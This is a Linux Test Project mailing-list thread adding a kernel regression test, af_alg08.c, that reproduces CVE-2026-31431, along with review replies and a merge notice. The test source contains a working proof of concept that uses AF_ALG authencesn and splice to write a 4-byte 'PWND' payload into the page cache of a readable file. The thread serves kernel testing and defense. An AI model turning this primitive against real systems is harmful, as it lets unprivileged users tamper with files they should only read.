Linux Test Project
 help / color / mirror / Atom feed
* [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer
@ 2026-04-30 13:30 Andrea Cervesato
  2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
                   ` (2 more replies)
  0 siblings, 3 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
  To: Linux Test Project

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- tst_alg_sendmsg(): fix msg_flags to be send by sendmsg()
- cve-2026-31431 -> af_alg08
- use tst_alg_sendmsg()
- global fd cleanup
- mode 0444
- handle multiple -i iterations
- Link to v1: https://lore.kernel.org/r/20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com

---
Andrea Cervesato (2):
      tst_af_alg: fixed msg_flags to be the sendmsg() flags
      cve-2026-31431: Add page cache corruption reproducer

 include/tst_af_alg.h               |   2 +-
 lib/tst_af_alg.c                   |   3 +-
 runtest/cve                        |   1 +
 testcases/kernel/crypto/.gitignore |   1 +
 testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
 5 files changed, 168 insertions(+), 3 deletions(-)
---
base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
change-id: 20260430-cve-2026-31431-eda4297d56bc

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags
  2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
@ 2026-04-30 13:30 ` Andrea Cervesato
  2026-04-30 14:18   ` Cyril Hrubis
  2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
  2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp
  2 siblings, 1 reply; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/tst_af_alg.h | 2 +-
 lib/tst_af_alg.c     | 3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/include/tst_af_alg.h b/include/tst_af_alg.h
index 5c307ed0695103e67aac2f56d7ef6ecbd0a0b704..34f32e1d7755fa2dbd53d8bd76280cc730a6115a 100644
--- a/include/tst_af_alg.h
+++ b/include/tst_af_alg.h
@@ -167,7 +167,7 @@ struct tst_alg_sendmsg_params {
 	/** If assoclen != 0, send ALG_SET_AEAD_ASSOCLEN */
 	unsigned int assoclen;
 
-	/* Value to use as msghdr::msg_flags */
+	/** Flags to pass to sendmsg() (e.g. MSG_MORE) */
 	uint32_t msg_flags;
 };
 
diff --git a/lib/tst_af_alg.c b/lib/tst_af_alg.c
index a14f9865c9a4efef70e82485448c8dfccdec37ed..93757278f1d299edd1aefa232644cc060b801a74 100644
--- a/lib/tst_af_alg.c
+++ b/lib/tst_af_alg.c
@@ -198,7 +198,6 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen,
 	struct msghdr msg = {
 		.msg_iov = &iov,
 		.msg_iovlen = 1,
-		.msg_flags = params->msg_flags,
 	};
 	size_t controllen;
 	uint8_t *control;
@@ -249,5 +248,5 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen,
 		cmsg = CMSG_NXTHDR(&msg, cmsg);
 	}
 
-	SAFE_SENDMSG(datalen, reqfd, &msg, 0);
+	SAFE_SENDMSG(datalen, reqfd, &msg, params->msg_flags);
 }

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
  2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
@ 2026-04-30 13:30 ` Andrea Cervesato
  2026-04-30 14:06   ` Martin Doucha
  2026-04-30 15:46   ` Cyril Hrubis
  2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp
  2 siblings, 2 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

A logic bug in authencesn allows an unprivileged user to corrupt
4 bytes of page cache via AF_ALG + splice. The test writes known
data to a file, attempts corruption through the AEAD scratch-write
path, and verifies whether the file content was modified.

Tested-by: Avinesh Kumar <avinesh.kumar@suse.com>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                        |   1 +
 testcases/kernel/crypto/.gitignore |   1 +
 testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
 3 files changed, 166 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
 cve-2022-4378 cve-2022-4378
 cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
+cve-2026-31431 af_alg08
diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore
index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644
--- a/testcases/kernel/crypto/.gitignore
+++ b/testcases/kernel/crypto/.gitignore
@@ -5,6 +5,7 @@ af_alg04
 af_alg05
 af_alg06
 af_alg07
+af_alg08
 pcrypt_aead01
 crypto_user01
 crypto_user02
diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c
new file mode 100644
index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9
--- /dev/null
+++ b/testcases/kernel/crypto/af_alg08.c
@@ -0,0 +1,164 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
+ * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
+ *
+ * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
+ * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
+ * into the page cache of any readable file. During AEAD decryption,
+ * authencesn uses the destination scatterlist as scratch space for ESN byte
+ * rearrangement. When data is spliced from a file into an AF_ALG socket, the
+ * 2017 in-place optimization (72548b093ee3) places page cache pages into the
+ * writable destination scatterlist. authencesn's scratch write then corrupts
+ * those pages.
+ *
+ * The test creates a file with known data, attempts page cache corruption via
+ * the AF_ALG + splice technique, and verifies whether the file content was
+ * modified.
+ *
+ * Reproducer based on:
+ * https://github.com/theori-io/copy-fail-CVE-2026-31431
+ */
+
+#include "tst_test.h"
+#include "tst_af_alg.h"
+#include "lapi/socket.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "copy_fail"
+#define OVERWRITE_SIZE 4
+#define AEAD_AUTHSIZE 4
+#define AEAD_ASSOCLEN 8
+#define AES_IV_SIZE 16
+#define SPI_SIZE 4
+
+static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
+static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
+
+/*
+ * authenc key format: struct rtattr header (8 bytes) +
+ * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
+ */
+static const uint8_t authenc_key[] = {
+	0x08, 0x00, 0x01, 0x00,
+	0x00, 0x00, 0x00, 0x10,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+static int algfd = -1;
+static int reqfd = -1;
+static int pipefd[2] = { -1, -1 };
+static int file_fd = -1;
+
+static void try_corrupt(void)
+{
+	const uint8_t iv[AES_IV_SIZE] = { 0 };
+	uint8_t aad[AEAD_ASSOCLEN];
+	char recvbuf[AEAD_ASSOCLEN];
+	loff_t off_in = 0;
+
+	algfd = -1;
+	reqfd = -1;
+	pipefd[0] = -1;
+	pipefd[1] = -1;
+
+	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
+	memset(aad, 'A', SPI_SIZE);
+	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
+
+	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
+			      authenc_key, sizeof(authenc_key));
+	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
+			AEAD_AUTHSIZE);
+
+	reqfd = tst_alg_accept(algfd);
+
+	const struct tst_alg_sendmsg_params params = {
+		.decrypt = true,
+		.iv = iv,
+		.ivlen = AES_IV_SIZE,
+		.assoclen = AEAD_ASSOCLEN,
+		.msg_flags = MSG_MORE,
+	};
+
+	tst_alg_sendmsg(reqfd, aad, sizeof(aad), &params);
+
+	SAFE_PIPE(pipefd);
+
+	TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
+
+	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
+
+	/* Expected to fail (invalid ciphertext); triggers the scratch write */
+	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
+
+	SAFE_CLOSE(pipefd[0]);
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_CLOSE(reqfd);
+	SAFE_CLOSE(algfd);
+}
+
+static void run(void)
+{
+	int fd;
+	uint8_t readback[OVERWRITE_SIZE];
+
+	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
+	SAFE_CLOSE(fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt();
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
+		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (pipefd[0] != -1)
+		SAFE_CLOSE(pipefd[0]);
+
+	if (pipefd[1] != -1)
+		SAFE_CLOSE(pipefd[1]);
+
+	if (reqfd != -1)
+		SAFE_CLOSE(reqfd);
+
+	if (algfd != -1)
+		SAFE_CLOSE(algfd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a664bf3d603d"},
+		{"CVE", "2026-31431"},
+		{}
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
@ 2026-04-30 14:06   ` Martin Doucha
  2026-04-30 14:31     ` Andrea Cervesato via ltp
  2026-04-30 15:46   ` Cyril Hrubis
  1 sibling, 1 reply; 8+ messages in thread
From: Martin Doucha @ 2026-04-30 14:06 UTC (permalink / raw)
  To: Andrea Cervesato, Linux Test Project

Hi,
let's add the test to runtest/crypto as well during merge. One minor nit 
below, otherwise for both patches:

Reviewed-by: Martin Doucha <mdoucha@suse.cz>

On 4/30/26 15:30, Andrea Cervesato wrote:
> From: Andrea Cervesato <andrea.cervesato@suse.com>
> 
> A logic bug in authencesn allows an unprivileged user to corrupt
> 4 bytes of page cache via AF_ALG + splice. The test writes known
> data to a file, attempts corruption through the AEAD scratch-write
> path, and verifies whether the file content was modified.
> 
> Tested-by: Avinesh Kumar <avinesh.kumar@suse.com>
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
>   runtest/cve                        |   1 +
>   testcases/kernel/crypto/.gitignore |   1 +
>   testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
>   3 files changed, 166 insertions(+)
> 
> diff --git a/runtest/cve b/runtest/cve
> index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
>   cve-2022-4378 cve-2022-4378
>   cve-2025-38236 cve-2025-38236
>   cve-2025-21756 cve-2025-21756
> +cve-2026-31431 af_alg08
> diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore
> index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644
> --- a/testcases/kernel/crypto/.gitignore
> +++ b/testcases/kernel/crypto/.gitignore
> @@ -5,6 +5,7 @@ af_alg04
>   af_alg05
>   af_alg06
>   af_alg07
> +af_alg08
>   pcrypt_aead01
>   crypto_user01
>   crypto_user02
> diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9
> --- /dev/null
> +++ b/testcases/kernel/crypto/af_alg08.c
> @@ -0,0 +1,164 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
> + */
> +
> +/*\
> + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
> + * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
> + *
> + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
> + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
> + * into the page cache of any readable file. During AEAD decryption,
> + * authencesn uses the destination scatterlist as scratch space for ESN byte
> + * rearrangement. When data is spliced from a file into an AF_ALG socket, the
> + * 2017 in-place optimization (72548b093ee3) places page cache pages into the
> + * writable destination scatterlist. authencesn's scratch write then corrupts
> + * those pages.
> + *
> + * The test creates a file with known data, attempts page cache corruption via
> + * the AF_ALG + splice technique, and verifies whether the file content was
> + * modified.
> + *
> + * Reproducer based on:
> + * https://github.com/theori-io/copy-fail-CVE-2026-31431
> + */
> +
> +#include "tst_test.h"
> +#include "tst_af_alg.h"
> +#include "lapi/socket.h"
> +#include "lapi/splice.h"
> +
> +#define TESTFILE "copy_fail"
> +#define OVERWRITE_SIZE 4
> +#define AEAD_AUTHSIZE 4
> +#define AEAD_ASSOCLEN 8
> +#define AES_IV_SIZE 16
> +#define SPI_SIZE 4
> +
> +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
> +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
> +
> +/*
> + * authenc key format: struct rtattr header (8 bytes) +
> + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
> + */
> +static const uint8_t authenc_key[] = {
> +	0x08, 0x00, 0x01, 0x00,
> +	0x00, 0x00, 0x00, 0x10,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +};
> +
> +static int algfd = -1;
> +static int reqfd = -1;
> +static int pipefd[2] = { -1, -1 };
> +static int file_fd = -1;
> +
> +static void try_corrupt(void)
> +{
> +	const uint8_t iv[AES_IV_SIZE] = { 0 };
> +	uint8_t aad[AEAD_ASSOCLEN];
> +	char recvbuf[AEAD_ASSOCLEN];
> +	loff_t off_in = 0;
> +
> +	algfd = -1;
> +	reqfd = -1;
> +	pipefd[0] = -1;
> +	pipefd[1] = -1;
> +
> +	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
> +	memset(aad, 'A', SPI_SIZE);
> +	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
> +
> +	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
> +			      authenc_key, sizeof(authenc_key));
> +	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
> +			AEAD_AUTHSIZE);
> +
> +	reqfd = tst_alg_accept(algfd);
> +
> +	const struct tst_alg_sendmsg_params params = {
> +		.decrypt = true,
> +		.iv = iv,
> +		.ivlen = AES_IV_SIZE,
> +		.assoclen = AEAD_ASSOCLEN,
> +		.msg_flags = MSG_MORE,
> +	};
> +
> +	tst_alg_sendmsg(reqfd, aad, sizeof(aad), &params);
> +
> +	SAFE_PIPE(pipefd);
> +
> +	TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
> +
> +	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
> +
> +	/* Expected to fail (invalid ciphertext); triggers the scratch write */
> +	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
> +
> +	SAFE_CLOSE(pipefd[0]);
> +	SAFE_CLOSE(pipefd[1]);
> +	SAFE_CLOSE(reqfd);
> +	SAFE_CLOSE(algfd);
> +}
> +
> +static void run(void)
> +{
> +	int fd;
> +	uint8_t readback[OVERWRITE_SIZE];
> +
> +	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
> +	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
> +	SAFE_CLOSE(fd);

Nit: Please use file_fd here.

> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	try_corrupt();
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_READ(1, file_fd, readback, sizeof(readback));
> +	SAFE_CLOSE(file_fd);
> +
> +	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
> +		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
> +	else
> +		tst_res(TPASS, "Page cache was not corrupted");
> +
> +	SAFE_UNLINK(TESTFILE);
> +}
> +
> +static void cleanup(void)
> +{
> +	if (pipefd[0] != -1)
> +		SAFE_CLOSE(pipefd[0]);
> +
> +	if (pipefd[1] != -1)
> +		SAFE_CLOSE(pipefd[1]);
> +
> +	if (reqfd != -1)
> +		SAFE_CLOSE(reqfd);
> +
> +	if (algfd != -1)
> +		SAFE_CLOSE(algfd);
> +
> +	if (file_fd != -1)
> +		SAFE_CLOSE(file_fd);
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.cleanup = cleanup,
> +	.needs_tmpdir = 1,
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "a664bf3d603d"},
> +		{"CVE", "2026-31431"},
> +		{}
> +	},
> +};
> 


-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags
  2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
@ 2026-04-30 14:18   ` Cyril Hrubis
  0 siblings, 0 replies; 8+ messages in thread
From: Cyril Hrubis @ 2026-04-30 14:18 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 14:06   ` Martin Doucha
@ 2026-04-30 14:31     ` Andrea Cervesato via ltp
  0 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-04-30 14:31 UTC (permalink / raw)
  To: Martin Doucha; +Cc: Linux Test Project

Hi Martin,

> Nit: Please use file_fd here.

Uops...im gonna fix it on push. thanks for the review.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
  2026-04-30 14:06   ` Martin Doucha
@ 2026-04-30 15:46   ` Cyril Hrubis
  1 sibling, 0 replies; 8+ messages in thread
From: Cyril Hrubis @ 2026-04-30 15:46 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi!
> +	TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
> +
> +	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");

I guess that we should add SAFE_SPLICE() but we can as well do that on
the top of this patch.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer
  2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
  2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
  2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
@ 2026-04-30 17:10 ` Andrea Cervesato via ltp
  2 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-04-30 17:10 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Merged, Thanks!

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

end of thread, other threads:[~2026-04-30 17:10 UTC | newest]

Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
2026-04-30 14:18   ` Cyril Hrubis
2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
2026-04-30 14:06   ` Martin Doucha
2026-04-30 14:31     ` Andrea Cervesato via ltp
2026-04-30 15:46   ` Cyril Hrubis
2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox